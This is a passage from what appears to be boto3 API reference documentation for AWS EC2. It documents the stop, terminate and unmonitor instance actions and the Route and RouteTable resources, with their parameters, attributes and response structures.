(2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = placement_group.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +- **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = placement_group.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = placement_group.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +[Route](#id1248) +-------------------------------------------------------- + +_class_ EC2.Route(_route_table_id_, _destination_cidr_block_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Route: + +import boto3 + +ec2 = boto3.resource('ec2') +route = ec2.Route('route_table_id','destination_cidr_block') + +Parameters + +- **route_table_id** (_string_) -- The Route's route_table_id identifier. This **must** be set. +- **destination_cidr_block** (_string_) -- The Route's destination_cidr_block identifier. This **must** be set. + +These are the resource's available identifiers: + +- [route_table_id](#EC2.Route.route_table_id "EC2.Route.route_table_id") +- [destination_cidr_block](#EC2.Route.destination_cidr_block "EC2.Route.destination_cidr_block") + +These are the resource's available attributes: + +- [carrier_gateway_id](#EC2.Route.carrier_gateway_id "EC2.Route.carrier_gateway_id") +- [destination_ipv6_cidr_block](#EC2.Route.destination_ipv6_cidr_block "EC2.Route.destination_ipv6_cidr_block") +- [destination_prefix_list_id](#EC2.Route.destination_prefix_list_id "EC2.Route.destination_prefix_list_id") +- [egress_only_internet_gateway_id](#EC2.Route.egress_only_internet_gateway_id "EC2.Route.egress_only_internet_gateway_id") +- [gateway_id](#EC2.Route.gateway_id "EC2.Route.gateway_id") +- [instance_id](#EC2.Route.instance_id "EC2.Route.instance_id") +- [instance_owner_id](#EC2.Route.instance_owner_id "EC2.Route.instance_owner_id") +- [local_gateway_id](#EC2.Route.local_gateway_id "EC2.Route.local_gateway_id") +- [nat_gateway_id](#EC2.Route.nat_gateway_id "EC2.Route.nat_gateway_id") +- [network_interface_id](#EC2.Route.network_interface_id "EC2.Route.network_interface_id") +- [origin](#EC2.Route.origin "EC2.Route.origin") +- [state](#EC2.Route.state "EC2.Route.state") +- [transit_gateway_id](#EC2.Route.transit_gateway_id "EC2.Route.transit_gateway_id") +- [vpc_peering_connection_id](#EC2.Route.vpc_peering_connection_id "EC2.Route.vpc_peering_connection_id") + +These are the resource's available actions: + +- [delete()](#EC2.Route.delete "EC2.Route.delete") +- [get_available_subresources()](#EC2.Route.get_available_subresources "EC2.Route.get_available_subresources") +- [replace()](#EC2.Route.replace "EC2.Route.replace") + +These are the resource's available sub-resources: + +- [RouteTable()](#EC2.Route.RouteTable "EC2.Route.RouteTable") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +route_table_id + +_(string)_ The Route's route_table_id identifier. This **must** be set. + +destination_cidr_block + +_(string)_ The Route's destination_cidr_block identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +carrier_gateway_id + +- _(string) --_ + + The ID of the carrier gateway. + + +destination_ipv6_cidr_block + +- _(string) --_ + + The IPv6 CIDR block used for the destination match. + + +destination_prefix_list_id + +- _(string) --_ + + The prefix of the AWS service. + + +egress_only_internet_gateway_id + +- _(string) --_ + + The ID of the egress-only internet gateway. + + +gateway_id + +- _(string) --_ + + The ID of a gateway attached to your VPC. + + +instance_id + +- _(string) --_ + + The ID of a NAT instance in your VPC. + + +instance_owner_id + +- _(string) --_ + + The AWS account ID of the owner of the instance. + + +local_gateway_id + +- _(string) --_ + + The ID of the local gateway. + + +nat_gateway_id + +- _(string) --_ + + The ID of a NAT gateway. + + +network_interface_id + +- _(string) --_ + + The ID of the network interface. + + +origin + +- _(string) --_ + + Describes how the route was created. + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + +state + +- _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + +transit_gateway_id + +- _(string) --_ + + The ID of a transit gateway. + + +vpc_peering_connection_id + +- _(string) --_ + + The ID of a VPC peering connection. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified route from the specified route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteRoute) + +**Request Syntax** + +response = route.delete( + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + +) + +Parameters + +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR range for the route. The value you specify must match the CIDR for the route exactly. +- **DestinationPrefixListId** (_string_) -- The ID of the prefix list for the route. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +replace(kwargs_) + +Replaces an existing route within a route table in a VPC. You must provide only one of the following: internet gateway, virtual private gateway, NAT instance, NAT gateway, VPC peering connection, network interface, egress-only internet gateway, or transit gateway. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceRoute) + +**Request Syntax** + +response = route.replace( + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + VpcEndpointId='string', + EgressOnlyInternetGatewayId='string', + GatewayId='string', + InstanceId='string', + LocalTarget=True|False, + NatGatewayId='string', + TransitGatewayId='string', + LocalGatewayId='string', + CarrierGatewayId='string', + NetworkInterfaceId='string', + VpcPeeringConnectionId='string' +) + +Parameters + +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR address block used for the destination match. The value that you provide must match the CIDR of an existing route in the table. +- **DestinationPrefixListId** (_string_) -- The ID of the prefix list for the route. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcEndpointId** (_string_) -- The ID of a VPC endpoint. Supported for Gateway Load Balancer endpoints only. +- **EgressOnlyInternetGatewayId** (_string_) -- [IPv6 traffic only] The ID of an egress-only internet gateway. +- **GatewayId** (_string_) -- The ID of an internet gateway or virtual private gateway. +- **InstanceId** (_string_) -- The ID of a NAT instance in your VPC. +- **LocalTarget** (_boolean_) -- Specifies whether to reset the local route to its default target (local ). +- **NatGatewayId** (_string_) -- [IPv4 traffic only] The ID of a NAT gateway. +- **TransitGatewayId** (_string_) -- The ID of a transit gateway. +- **LocalGatewayId** (_string_) -- The ID of the local gateway. +- **CarrierGatewayId** (_string_) -- [IPv4 traffic only] The ID of a carrier gateway. +- **NetworkInterfaceId** (_string_) -- The ID of a network interface. +- **VpcPeeringConnectionId** (_string_) -- The ID of a VPC peering connection. + +Returns + +None + +Sub-resources + +Sub-resources are methods that create a new instance of a child resource. This resource's identifiers get passed along to the child. For more information about sub-resources refer to the [_Resources Introduction Guide_](../../guide/resources.html#subresources-intro). + +RouteTable() + +Creates a RouteTable resource.: + +route_table = route.RouteTable() + +Return type + +[EC2.RouteTable](#EC2.RouteTable "EC2.RouteTable") + +Returns + +A RouteTable resource + +[RouteTable](#id1249) +------------------------------------------------------------------ + +_class_ EC2.RouteTable(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) RouteTable: + +import boto3 + +ec2 = boto3.resource('ec2') +route_table = ec2.RouteTable('id') + +Parameters + +**id** (_string_) -- The RouteTable's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.RouteTable.id "EC2.RouteTable.id") + +These are the resource's available attributes: + +- [associations_attribute](#EC2.RouteTable.associations_attribute "EC2.RouteTable.associations_attribute") +- [owner_id](#EC2.RouteTable.owner_id "EC2.RouteTable.owner_id") +- [propagating_vgws](#EC2.RouteTable.propagating_vgws "EC2.RouteTable.propagating_vgws") +- [route_table_id](#EC2.RouteTable.route_table_id "EC2.RouteTable.route_table_id") +- [routes_attribute](#EC2.RouteTable.routes_attribute "EC2.RouteTable.routes_attribute") +- [tags](#EC2.RouteTable.tags "EC2.RouteTable.tags") +- [vpc_id](#EC2.RouteTable.vpc_id "EC2.RouteTable.vpc_id") + +These are the resource's available references: + +- [associations](#EC2.RouteTable.associations "EC2.RouteTable.associations") +- [routes](#EC2.RouteTable.routes "EC2.RouteTable.routes") +- [vpc](#EC2.RouteTable.vpc "EC2.RouteTable.vpc") + +These are the resource's available actions: + +- [associate_with_subnet()](#EC2.RouteTable.associate_with_subnet "EC2.RouteTable.associate_with_subnet") +- [create_route()](#EC2.RouteTable.create_route "EC2.RouteTable.create_route") +- [create_tags()](#EC2.RouteTable.create_tags "EC2.RouteTable.create_tags") +- [delete()](#EC2.RouteTable.delete "EC2.RouteTable.delete") +- [get_available_subresources()](#EC2.RouteTable.get_available_subresources "EC2.RouteTable.get_available_subresources") +- [load()](#EC2.RouteTable.load "EC2.RouteTable.load") +- [reload()](#EC2.RouteTable.reload "EC2.RouteTable.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The RouteTable's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.RouteTable.load "EC2.RouteTable.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +associations_attribute + +- _(list) --_ + + The associations between the route table and one or more subnets or a gateway. + + - _(dict) --_ + + Describes an association between a route table and a subnet or gateway. + + - **Main** _(boolean) --_ + + Indicates whether this is the main route table. + + - **RouteTableAssociationId** _(string) --_ + + The ID of the association. + + - **RouteTableId** _(string) --_ + + The ID of the route table. + + - **SubnetId** _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + - **GatewayId** _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + - **AssociationState** _(dict) --_ + + The state of the association. + + - **State** _(string) --_ + + The state of the association. + + - **StatusMessage** _(string) --_ + + The status message, if applicable. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the route table. + + +propagating_vgws + +- _(list) --_ + + Any virtual private gateway (VGW) propagating routes. + + - _(dict) --_ + + Describes a virtual private gateway propagating route. + + - **GatewayId** _(string) --_ + + The ID of the virtual private gateway. + + +route_table_id + +- _(string) --_ + + The ID of the route table. + + +routes_attribute + +- _(list) --_ + + The routes in the route table. + + - _(dict) --_ + + Describes a route in a route table. + + - **DestinationCidrBlock** _(string) --_ + + The IPv4 CIDR block used for the destination match. + + - **DestinationIpv6CidrBlock** _(string) --_ + + The IPv6 CIDR block used for the destination match. + + - **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + - **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of the egress-only internet gateway. + + - **GatewayId** _(string) --_ + + The ID of a gateway attached to your VPC. + + - **InstanceId** _(string) --_ + + The ID of a NAT instance in your VPC. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + - **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **Origin** _(string) --_ + + Describes how the route was created. + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + - **State** _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + +tags + +- _(list) --_ + + Any tags assigned to the route table. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +associations + +(RouteTableAssociation) The related associations if set, otherwise None. + +routes + +(Route) The related routes if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_with_subnet(kwargs_) + +Associates a subnet in your VPC or an internet gateway or virtual private gateway attached to your VPC with a route table in your VPC. This association causes traffic from the subnet or gateway to be routed according to the routes in the route table. The action returns an association ID, which you need in order to disassociate the route table later. A route table can be associated with multiple subnets. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateRouteTable) + +**Request Syntax** + +route_table_association = route_table.associate_with_subnet( + DryRun=True|False, + SubnetId='string', + GatewayId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SubnetId** (_string_) -- The ID of the subnet. +- **GatewayId** (_string_) -- The ID of the internet gateway or virtual private gateway. + +Return type + +ec2.RouteTableAssociation + +Returns + +RouteTableAssociation resource + +create_route(kwargs_) + +Creates a route in a route table within a VPC. + +You must specify one of the following targets: internet gateway or virtual private gateway, NAT instance, NAT gateway, VPC peering connection, network interface, egress-only internet gateway, or transit gateway. + +When determining how to route traffic, we use the route with the most specific match. For example, traffic is destined for the IPv4 address 192.0.2.3 , and the route table includes the following two IPv4 routes: + +- 192.0.2.0/24 (goes to some target A) +- 192.0.2.0/28 (goes to some target B) + +Both routes apply to the traffic destined for 192.0.2.3 . However, the second route in the list covers a smaller number of IP addresses and is therefore more specific, so we use that route to determine where to target the traffic. + +For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRoute) + +**Request Syntax** + +route = route_table.create_route( + DestinationCidrBlock='string', + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + VpcEndpointId='string', + EgressOnlyInternetGatewayId='string', + GatewayId='string', + InstanceId='string', + NatGatewayId='string', + TransitGatewayId='string', + LocalGatewayId='string', + CarrierGatewayId='string', + NetworkInterfaceId='string', + VpcPeeringConnectionId='string' +) + +Parameters + +- **DestinationCidrBlock** (_string_) -- The IPv4 CIDR address block used for the destination match. Routing decisions are based on the most specific match. We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR block used for the destination match. Routing decisions are based on the most specific match. +- **DestinationPrefixListId** (_string_) -- The ID of a prefix list used for the destination match. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcEndpointId** (_string_) -- The ID of a VPC endpoint. Supported for Gateway Load Balancer endpoints only. +- **EgressOnlyInternetGatewayId** (_string_) -- [IPv6 traffic only] The ID of an egress-only internet gateway. +- **GatewayId** (_string_) -- The ID of an internet gateway or virtual private gateway attached to your VPC. +- **InstanceId** (_string_) -- The ID of a NAT instance in your VPC. The operation fails if you specify an instance ID unless exactly one network interface is attached. +- **NatGatewayId** (_string_) -- [IPv4 traffic only] The ID of a NAT gateway. +- **TransitGatewayId** (_string_) -- The ID of a transit gateway. +- **LocalGatewayId** (_string_) -- The ID of the local gateway. +- **CarrierGatewayId** (_string_) -- + + The ID of the carrier gateway. + + You can only use this option when the VPC contains a subnet which is associated with a Wavelength Zone. + +- **NetworkInterfaceId** (_string_) -- The ID of a network interface. +- **VpcPeeringConnectionId** (_string_) -- The ID of a VPC peering connection. + +Return type + +ec2.Route + +Returns + +Route resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = route_table.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified route table. You must disassociate the route table from any subnets before you can delete it. You can't delete the main route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteRouteTable) + +**Request Syntax** + +response = route_table.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_route_tables()](#EC2.Client.describe_route_tables "EC2.Client.describe_route_tables") to update the attributes of the RouteTable resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +route_table.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_route_tables()](#EC2.Client.describe_route_tables "EC2.Client.describe_route_tables") to update the attributes of the RouteTable resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +route_table.reload() + +Returns + +None + +[RouteTableAssociation](#id1250) +---------------------------------------------------------------------------------------- + +_class_ EC2.RouteTableAssociation(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) RouteTableAssociation: + +import boto3 + +ec2 = boto3.resource('ec2') +route_table_association = ec2.RouteTableAssociation('id') + +Parameters + +**id** (_string_) -- The RouteTableAssociation's id identifier. This **must** be set. + +These are the resource's available identifiers: 